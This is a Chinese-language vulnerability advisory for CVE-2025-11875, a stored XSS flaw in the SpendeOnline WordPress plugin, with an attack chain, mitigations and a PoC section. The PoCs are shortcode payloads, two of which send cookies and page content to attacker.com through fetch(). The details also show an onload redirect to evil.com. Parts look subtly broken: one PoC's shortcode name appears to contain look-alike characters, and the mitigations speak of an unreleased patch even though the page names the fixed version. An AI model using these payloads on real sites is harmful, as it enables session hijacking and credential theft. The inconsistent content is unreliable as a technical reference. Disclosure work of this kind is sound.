IPBUF安全漏洞报告
English
CVE-2025-11875 CVSS 6.4 中危

CVE-2025-11875 WordPress SpendeOnline插件存储型XSS漏洞

披露日期: 2025-10-25

漏洞信息

漏洞编号
CVE-2025-11875
漏洞类型
存储型跨站脚本攻击(Stored XSS)
CVSS评分
6.4 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
SpendeOnline.org WordPress插件

相关标签

存储型XSSWordPress插件短代码漏洞SpendeOnlineCVE-2025-11875跨站脚本认证用户攻击

漏洞概述

SpendeOnline.org是WordPress平台上一个用于接受捐赠的插件。该插件在3.0.1及以下所有版本中存在一个严重的存储型跨站脚本(Stored XSS)漏洞。漏洞根源在于插件对spendeonline短代码(shortcode)中的用户输入属性缺乏充分的输入清理和输出转义。攻击者只需拥有WordPress网站的贡献者(contributor)级别权限,即可利用此漏洞在受影响的页面中注入任意JavaScript代码。由于该脚本会被永久存储在数据库中,任何访问包含恶意代码页面的用户都会自动执行攻击者注入的脚本,从而可能导致会话劫持、凭据窃取、恶意重定向等严重后果。此漏洞影响范围广泛,所有使用该插件且版本低于3.0.2的WordPress网站都处于风险之中。

技术细节

漏洞存在于spendeonline.php文件的短代码处理逻辑中(约第46行)。当用户通过短代码[spendeonline attribute='value']形式调用插件功能时,插件直接获取用户提供的属性参数而未进行任何消毒处理。具体来说,插件使用了类似add_shortcode()函数注册短代码,但在处理属性时直接输出到HTML页面,缺少esc_html()或esc_attr()等WordPress安全函数的保护。攻击者可以通过构造恶意属性值(如onerror='alert(XSS)'或onload='document.location="evil.com"')注入JavaScript代码。由于这些属性值被存储在WordPress的posts表中,当页面被访问时恶意代码会自动执行。攻击者利用此漏洞可窃取管理员cookie、提升权限或植入后门程序。修复版本3.0.2通过添加htmlspecialchars()和wp_kses()函数对所有用户输入进行严格过滤和转义。

攻击链分析

STEP 1
步骤1
攻击者获得WordPress网站的贡献者(Contributor)或更高权限账户
STEP 2
步骤2
攻击者创建或编辑文章/页面,插入包含恶意JavaScript代码的[spendeonline]短代码
STEP 3
步骤3
恶意代码随短代码属性值被存储到WordPress数据库的posts表中
STEP 4
步骤4
当普通用户访问包含该短代码的页面时,服务器将未转义的恶意代码嵌入到HTML响应中
STEP 5
步骤5
用户浏览器解析HTML时执行注入的JavaScript代码,攻击者借此窃取Cookie、会话或执行其他恶意操作

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
<!-- WordPress SpendeOnline Plugin Stored XSS PoC --> <!-- Required: Contributor-level access or higher --> <!-- PoC 1: Basic XSS via shortcode attribute --> [spendeonline some_attr='<script>alert(document.cookie)</script>'] <!-- PoC 2: XSS via onerror event handler --> [spendeonline custom_field='<img src=x onerror=fetch("https://attacker.com/steal?c="+document.cookie)>'] <!-- PoC 3: Stored XSS in multiple attributes --> [spendeonline name='<svg/onload=fetch("https://attacker.com/exfil?data="+btoa(document.body.innerHTML))>'] <!-- PoC 4: WordPress REST API exploitation --> <!-- Using WordPress editor to insert malicious shortcode --> [spеndеonline amount='100" onmouseover="alert(1)" x="']

影响范围

SpendeOnline.org插件 <= 3.0.1

防御指南

临时缓解措施
在官方补丁发布前,可采取以下临时措施:1) 临时禁用SpendeOnline插件;2) 使用WordPress防火墙规则阻止包含可疑短代码的请求;3) 加强用户权限管理,撤销所有非管理员用户的文章编辑权限;4) 部署WAF(Web应用防火墙)规则过滤含有<script>、onerror、onload等XSS特征的请求;5) 监控访问日志,关注异常的短代码使用模式。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表